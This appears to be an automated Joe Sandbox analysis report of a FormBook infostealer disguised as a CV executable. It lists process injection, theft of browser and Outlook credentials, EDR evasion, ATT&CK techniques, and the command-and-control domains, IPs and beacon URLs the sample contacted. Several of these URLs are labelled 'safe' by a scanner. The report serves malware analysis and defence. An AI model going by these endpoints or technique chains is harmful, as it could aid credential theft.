                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Windows\SysWOW64\wlanext.exeThread register set: target process: 7940Jump to behavior
                Queues an APC in another process (thread injection)
                Source: C:\Windows\SysWOW64\wlanext.exeThread APC queued: target process: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 2975008Jump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B5B106 LogonUserW,0_2_00B5B106
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B23D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00B23D19
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B6411C SendInput,keybd_event,0_2_00B6411C
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B674BB mouse_event,0_2_00B674BB
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe"Jump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeProcess created: C:\Windows\SysWOW64\wlanext.exe "C:\Windows\SysWOW64\wlanext.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B5A66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00B5A66C
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B671FA AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_00B671FA
                Source: BzEfnSVbdFtPTT.exe, 00000004.00000000.1669899237.00000000013A1000.00000002.00000001.00040000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000004.00000002.3229414991.00000000013A1000.00000002.00000001.00040000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000006.00000002.3229479514.0000000001851000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program Manager
                Source: CV_ Filipa Barbosa.exe, BzEfnSVbdFtPTT.exe, 00000004.00000000.1669899237.00000000013A1000.00000002.00000001.00040000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000004.00000002.3229414991.00000000013A1000.00000002.00000001.00040000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000006.00000002.3229479514.0000000001851000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: BzEfnSVbdFtPTT.exe, 00000004.00000000.1669899237.00000000013A1000.00000002.00000001.00040000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000004.00000002.3229414991.00000000013A1000.00000002.00000001.00040000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000006.00000002.3229479514.0000000001851000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: CV_ Filipa Barbosa.exeBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning
                Source: BzEfnSVbdFtPTT.exe, 00000004.00000000.1669899237.00000000013A1000.00000002.00000001.00040000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000004.00000002.3229414991.00000000013A1000.00000002.00000001.00040000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000006.00000002.3229479514.0000000001851000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B465C4 cpuid 0_2_00B465C4
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B7091D GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,0_2_00B7091D
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B9B340 GetUserNameW,0_2_00B9B340
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B51E8E __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,0_2_00B51E8E
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B3DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_00B3DDC0

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000005.00000002.3229814145.0000000003740000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1748343762.0000000004BE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3231857201.00000000055A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3229700970.0000000003E60000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1746420362.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3229751089.00000000036F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3228314950.0000000003240000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1752780836.00000000076A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\SysWOW64\wlanext.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
                Source: CV_ Filipa Barbosa.exeBinary or memory string: WIN_81
                Source: CV_ Filipa Barbosa.exeBinary or memory string: WIN_XP
                Source: CV_ Filipa Barbosa.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 12, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytep
                Source: CV_ Filipa Barbosa.exeBinary or memory string: WIN_XPe
                Source: CV_ Filipa Barbosa.exeBinary or memory string: WIN_VISTA
                Source: CV_ Filipa Barbosa.exeBinary or memory string: WIN_7
                Source: CV_ Filipa Barbosa.exeBinary or memory string: WIN_8

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000005.00000002.3229814145.0000000003740000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1748343762.0000000004BE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3231857201.00000000055A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3229700970.0000000003E60000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1746420362.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3229751089.00000000036F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3228314950.0000000003240000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1752780836.00000000076A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B78C4F socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,0_2_00B78C4F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B7923B socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_00B7923B

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire Infrastructure2
                Valid Accounts                		3
                Native API                		1
                DLL Side-Loading                		1
                Exploitation for Privilege Escalation                		1
                Disable or Modify Tools                		1
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		4
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault AccountsScheduled Task/Job2
                Valid Accounts                		1
                Abuse Elevation Control Mechanism                		1
                Deobfuscate/Decode Files or Information                		21
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		1
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                DLL Side-Loading                		1
                Abuse Elevation Control Mechanism                		Security Account Manager2
                File and Directory Discovery                		SMB/Windows Admin Shares1
                Email Collection                		4
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
                Valid Accounts                		3
                Obfuscated Files or Information                		NTDS116
                System Information Discovery                		Distributed Component Object Model21
                Input Capture                		4
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
                Access Token Manipulation                		1
                DLL Side-Loading                		LSA Secrets151
                Security Software Discovery                		SSH3
                Clipboard Data                		Fallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
                Process Injection                		2
                Valid Accounts                		Cached Domain Credentials2
                Virtualization/Sandbox Evasion                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
                Virtualization/Sandbox Evasion                		DCSync3
                Process Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
                Access Token Manipulation                		Proc Filesystem1
                Application Window Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
                Process Injection                		/etc/passwd and /etc/shadow1
                System Owner/User Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1559218 Sample: CV_ Filipa Barbosa.exe Startdate: 20/11/2024 Architecture: WINDOWS Score: 100 28 www.logidant.xyz 2->28 30 logidant.xyz 2->30 32 11 other IPs or domains 2->32 42 Multi AV Scanner detection for submitted file 2->42 44 Yara detected FormBook 2->44 46 Binary is likely a compiled AutoIt script file 2->46 50 3 other signatures 2->50 10 CV_ Filipa Barbosa.exe 2 2->10         started        signatures3 48 Performs DNS queries to domains with low reputation 28->48 process4 signatures5 62 Binary is likely a compiled AutoIt script file 10->62 64 Writes to foreign memory regions 10->64 66 Maps a DLL or memory area into another process 10->66 13 svchost.exe 10->13         started        process6 signatures7 68 Maps a DLL or memory area into another process 13->68 16 BzEfnSVbdFtPTT.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 wlanext.exe 13 16->19         started        process10 signatures11 52 Tries to steal Mail credentials (via file / registry access) 19->52 54 Tries to harvest and steal browser information (history, passwords, etc) 19->54 56 Modifies the context of a thread in another process (thread injection) 19->56 58 3 other signatures 19->58 22 BzEfnSVbdFtPTT.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 logidant.xyz 45.141.156.114, 57454, 57455, 57456 YURTEH-ASUA Germany 22->34 36 www.betmatchx.online 91.206.201.136, 57474, 57475, 57476 UKRAINE-ASUA Ukraine 22->36 38 7 other IPs or domains 22->38 60 Found direct / indirect Syscall (likely to bypass EDR) 22->60 signatures14

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                CV_ Filipa Barbosa.exe55%ReversingLabsWin32.Trojan.AutoitInject
                CV_ Filipa Barbosa.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://www.bcg.services/xz45/0%Avira URL Cloudsafe
                http://www.1secondlending.one/alo6/?X88x4=H6Ch8lj0uBw&JNL8=s1RhBgSSc/k3T0jY69p04wHuVqsYenMc25RslsirlG2uVcm1vZZrQ7zhNnD/cyUNeUvgDkKIi8l9eWRRC/1CkJf42Qz4bngY1UZzOftSXnKuevI0uw==0%Avira URL Cloudsafe
                http://www.logidant.xyz/ctvu/?JNL8=306z4jMFZ8cLvHYY85VQdnEVrU0EcxNOzz9oMF1ntEZl1SQIBC+VKPA8lqMh/UdrcskgnhZVBAq8zTFw0YpHcNpskMEX/Vp/870g00gMcVdrHWaYzA==&X88x4=H6Ch8lj0uBw0%Avira URL Cloudsafe
                http://www.mffnow.info/1a34/0%Avira URL Cloudsafe
                http://www.logidant.xyz/ctvu/0%Avira URL Cloudsafe
                http://www.bcg.services/xz45/?JNL8=7Gl4eI2ymk7esmTLtSpxAatYul5JA3Gonx7jFa75SCeEQi1G+RGQY0LgPCeJyXg2C6GorcwS5UbL8Y/pt3QrTu75YBs+CNakhlsr0AGPWS12PGpJNQ==&X88x4=H6Ch8lj0uBw0%Avira URL Cloudsafe
                http://www.wcq77.top/bryf/0%Avira URL Cloudsafe
                http://www.bienmaigrir.info/z7sc/0%Avira URL Cloudsafe
                http://www.exitomagnetico.online/983l/0%Avira URL Cloudsafe
                http://www.betmatchx.online/w9az/0%Avira URL Cloudsafe
                http://www.exitomagnetico.online/983l/?JNL8=g8WLTYlf9hWOZIACu6eMazkcK6a43iRzmTuFWyAeHkX1YMY2d2zKbSbTvvKDd0IL0E8lOJWyqcUo2Xu9lNGbJxwAYrBzqcL5v1XxiEv4U+RE6Tf5UA==&X88x4=H6Ch8lj0uBw0%Avira URL Cloudsafe
                http://www.mffnow.info/1a34/?JNL8=UhEylRAMCxjlfkeAI9EIBPkQ3EqBOUgirJRYrSpl2vEmDrtdD83fz84LtzcmrW6WKOP6wZH/8TlB0y+yX7Xcphv8UaxKym5DcZZ39NQ+H3EikXqfKA==&X88x4=H6Ch8lj0uBw0%Avira URL Cloudsafe
                http://www.bienmaigrir.info/z7sc/?JNL8=lpyE2AbPqI/20nbKSARmowg0bFSQhSm/nj7uqY0yeMpYT6Ph3E36c6D0EpnRPNVSfUYtH00jj9MWE9I4iZUmXCU7bY8Fe8ByboZfJUuFgcbAB+feKg==&X88x4=H6Ch8lj0uBw0%Avira URL Cloudsafe
                http://www.wcq77.top/bryf/?X88x4=H6Ch8lj0uBw&JNL8=CAZjXQbNTKeWQTQjkjtYjT8g3WYbNJL1UeVU1dDfkJwpgmj9+23WxzoueliXKU0GrnZ7rAlARHmYQrQtVPfpU9j97yvZuhtMhzyAI/NJ21l8xuZT6w==0%Avira URL Cloudsafe
                http://www.remedies.pro0%Avira URL Cloudsafe
                http://www.mindfulmo.life/grm8/?JNL8=LXeIWcjRI+0vwDaXEde7oG2YWcXnzKtvPQ+DeJcDhGcq3DSHHwCG/Mepb2eQXiRJ2aihtUY8szHS/Cbz5IjtRPdFdlkmtueAUvF6RpU0Y2jb/KOkZA==&X88x4=H6Ch8lj0uBw0%Avira URL Cloudsafe
                https://adm.tools/?page=50%Avira URL Cloudsafe
                http://www.remedies.pro/hrap/0%Avira URL Cloudsafe
                http://www.betmatchx.online/w9az/?JNL8=okpuM/0ib/ITckpSJOe46bDFdJCX1e1J/DJKs01IL9Rp28jerhgTxssC6Fi40/IOPldRdbmbGaYmryx1Ll4UYQKzVpLeNRUpwR1VWbLdxvEP10zk3A==&X88x4=H6Ch8lj0uBw0%Avira URL Cloudsafe
                http://www.mindfulmo.life/grm8/0%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                wcq77.top
                		154.23.184.194
                		truefalse
                  		unknown
                  www.remedies.pro
                  		13.248.169.48
                  		truefalse
                    		unknown
                    s-part-0017.t-0009.t-msedge.net
                    		13.107.246.45
                    		truefalse
                      		high
                      www.mindfulmo.life
                      		209.74.77.108
                      		truefalse
                        		unknown
                        logidant.xyz
                        		45.141.156.114
                        		truetrue
                          		unknown
                          www.bienmaigrir.info
                          		35.220.176.144
                          		truefalse
                            		unknown
                            www.betmatchx.online
                            		91.206.201.136
                            		truefalse
                              		unknown
                              www.1secondlending.one
                              		43.205.198.29
                              		truefalse
                                		unknown
                                www.exitomagnetico.online
                                		188.114.96.3
                                		truefalse
                                  		unknown
                                  www.bcg.services
                                  		199.59.243.227
                                  		truefalse
                                    		unknown
                                    www.mffnow.info
                                    		188.114.96.3
                                    		truefalse
                                      		unknown
                                      www.logidant.xyz
                                      		unknown
                                      		unknowntrue
                                        		unknown
                                        241.42.69.40.in-addr.arpa
                                        		unknown
                                        		unknownfalse
                                          		high
                                          www.wcq77.top
                                          		unknown
                                          		unknownfalse
                                            		unknown

                                            Contacted URLs

                                            NameMaliciousAntivirus DetectionReputation
                                            http://www.bcg.services/xz45/false
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.1secondlending.one/alo6/?X88x4=H6Ch8lj0uBw&JNL8=s1RhBgSSc/k3T0jY69p04wHuVqsYenMc25RslsirlG2uVcm1vZZrQ7zhNnD/cyUNeUvgDkKIi8l9eWRRC/1CkJf42Qz4bngY1UZzOftSXnKuevI0uw==false
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.wcq77.top/bryf/false
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.logidant.xyz/ctvu/?JNL8=306z4jMFZ8cLvHYY85VQdnEVrU0EcxNOzz9oMF1ntEZl1SQIBC+VKPA8lqMh/UdrcskgnhZVBAq8zTFw0YpHcNpskMEX/Vp/870g00gMcVdrHWaYzA==&X88x4=H6Ch8lj0uBwfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.exitomagnetico.online/983l/false
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.betmatchx.online/w9az/false
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.mffnow.info/1a34/false
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.logidant.xyz/ctvu/false
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.bienmaigrir.info/z7sc/false
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.bcg.services/xz45/?JNL8=7Gl4eI2ymk7esmTLtSpxAatYul5JA3Gonx7jFa75SCeEQi1G+RGQY0LgPCeJyXg2C6GorcwS5UbL8Y/pt3QrTu75YBs+CNakhlsr0AGPWS12PGpJNQ==&X88x4=H6Ch8lj0uBwfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.mffnow.info/1a34/?JNL8=UhEylRAMCxjlfkeAI9EIBPkQ3EqBOUgirJRYrSpl2vEmDrtdD83fz84LtzcmrW6WKOP6wZH/8TlB0y+yX7Xcphv8UaxKym5DcZZ39NQ+H3EikXqfKA==&X88x4=H6Ch8lj0uBwfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.exitomagnetico.online/983l/?JNL8=g8WLTYlf9hWOZIACu6eMazkcK6a43iRzmTuFWyAeHkX1YMY2d2zKbSbTvvKDd0IL0E8lOJWyqcUo2Xu9lNGbJxwAYrBzqcL5v1XxiEv4U+RE6Tf5UA==&X88x4=H6Ch8lj0uBwfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.wcq77.top/bryf/?X88x4=H6Ch8lj0uBw&JNL8=CAZjXQbNTKeWQTQjkjtYjT8g3WYbNJL1UeVU1dDfkJwpgmj9+23WxzoueliXKU0GrnZ7rAlARHmYQrQtVPfpU9j97yvZuhtMhzyAI/NJ21l8xuZT6w==false
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.bienmaigrir.info/z7sc/?JNL8=lpyE2AbPqI/20nbKSARmowg0bFSQhSm/nj7uqY0yeMpYT6Ph3E36c6D0EpnRPNVSfUYtH00jj9MWE9I4iZUmXCU7bY8Fe8ByboZfJUuFgcbAB+feKg==&X88x4=H6Ch8lj0uBwfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.remedies.pro/hrap/false
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.mindfulmo.life/grm8/?JNL8=LXeIWcjRI+0vwDaXEde7oG2YWcXnzKtvPQ+DeJcDhGcq3DSHHwCG/Mepb2eQXiRJ2aihtUY8szHS/Cbz5IjtRPdFdlkmtueAUvF6RpU0Y2jb/KOkZA==&X88x4=H6Ch8lj0uBwfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.betmatchx.online/w9az/?JNL8=okpuM/0ib/ITckpSJOe46bDFdJCX1e1J/DJKs01IL9Rp28jerhgTxssC6Fi40/IOPldRdbmbGaYmryx1Ll4UYQKzVpLeNRUpwR1VWbLdxvEP10zk3A==&X88x4=H6Ch8lj0uBwfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.mindfulmo.life/grm8/false
                                            • Avira URL Cloud: safe
                                            		unknown

                                            URLs from Memory and Binaries

                                            NameSourceMaliciousAntivirus DetectionReputation
                                            https://duckduckgo.com/chrome_newtabwlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              https://duckduckgo.com/ac/?q=wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                https://www.google.com/images/branding/product/ico/googleg_lodp.icowlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://www.ecosia.org/newtab/wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://ac.ecosia.org/autocomplete?q=wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://www.google.comwlanext.exe, 00000005.00000002.3231205204.0000000004EF2000.00000004.10000000.00040000.00000000.sdmp, wlanext.exe, 00000005.00000002.3232895934.0000000006990000.00000004.00000800.00020000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000006.00000002.3229848098.0000000004052000.00000004.00000001.00040000.00000000.sdmpfalse
                                                            		high
                                                            http://www.remedies.proBzEfnSVbdFtPTT.exe, 00000006.00000002.3231857201.00000000055F3000.00000040.80000000.00040000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchwlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://adm.tools/?page=5wlanext.exe, 00000005.00000002.3231205204.0000000004D60000.00000004.10000000.00040000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000006.00000002.3229848098.0000000003EC0000.00000004.00000001.00040000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=wlanext.exe, 00000005.00000003.1944718173.00000000084B8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high

                                                                World Map of Contacted IPs

                                                                • No. of IPs < 25%
                                                                • 25% < No. of IPs < 50%
                                                                • 50% < No. of IPs < 75%
                                                                • 75% < No. of IPs

                                                                Public IPs

                                                                IPDomainCountryFlagASNASN NameMalicious
                                                                45.141.156.114
                                                                		logidant.xyzGermany
                                                                		30860YURTEH-ASUAtrue
                                                                209.74.77.108
                                                                		www.mindfulmo.lifeUnited States
                                                                		31744MULTIBAND-NEWHOPEUSfalse
                                                                91.206.201.136
                                                                		www.betmatchx.onlineUkraine
                                                                		200000UKRAINE-ASUAfalse
                                                                13.248.169.48
                                                                		www.remedies.proUnited States
                                                                		16509AMAZON-02USfalse
                                                                43.205.198.29
                                                                		www.1secondlending.oneJapan4249LILLY-ASUSfalse
                                                                188.114.96.3
                                                                		www.exitomagnetico.onlineEuropean Union
                                                                		13335CLOUDFLARENETUSfalse
                                                                199.59.243.227
                                                                		www.bcg.servicesUnited States
                                                                		395082BODIS-NJUSfalse
                                                                154.23.184.194
                                                                		wcq77.topUnited States
                                                                		174COGENT-174USfalse
                                                                35.220.176.144
                                                                		www.bienmaigrir.infoUnited States
                                                                		15169GOOGLEUSfalse

                                                                General Information

                                                                Joe Sandbox version:41.0.0 Charoite
                                                                Analysis ID:1559218
                                                                Start date and time:2024-11-20 10:24:22 +01:00
                                                                Joe Sandbox product:CloudBasic
                                                                Overall analysis duration:0h 9m 38s
                                                                Hypervisor based Inspection enabled:false
                                                                Report type:full
                                                                Cookbook file name:default.jbs
                                                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                Run name:Run with higher sleep bypass
                                                                Number of analysed new started processes analysed:10
                                                                Number of new started drivers analysed:0
                                                                Number of existing processes analysed:0
                                                                Number of existing drivers analysed:0
                                                                Number of injected processes analysed:2
                                                                Technologies:
                                                                • HCA enabled
                                                                • EGA enabled
                                                                • AMSI enabled
                                                                Analysis Mode:default
                                                                Analysis stop reason:Timeout
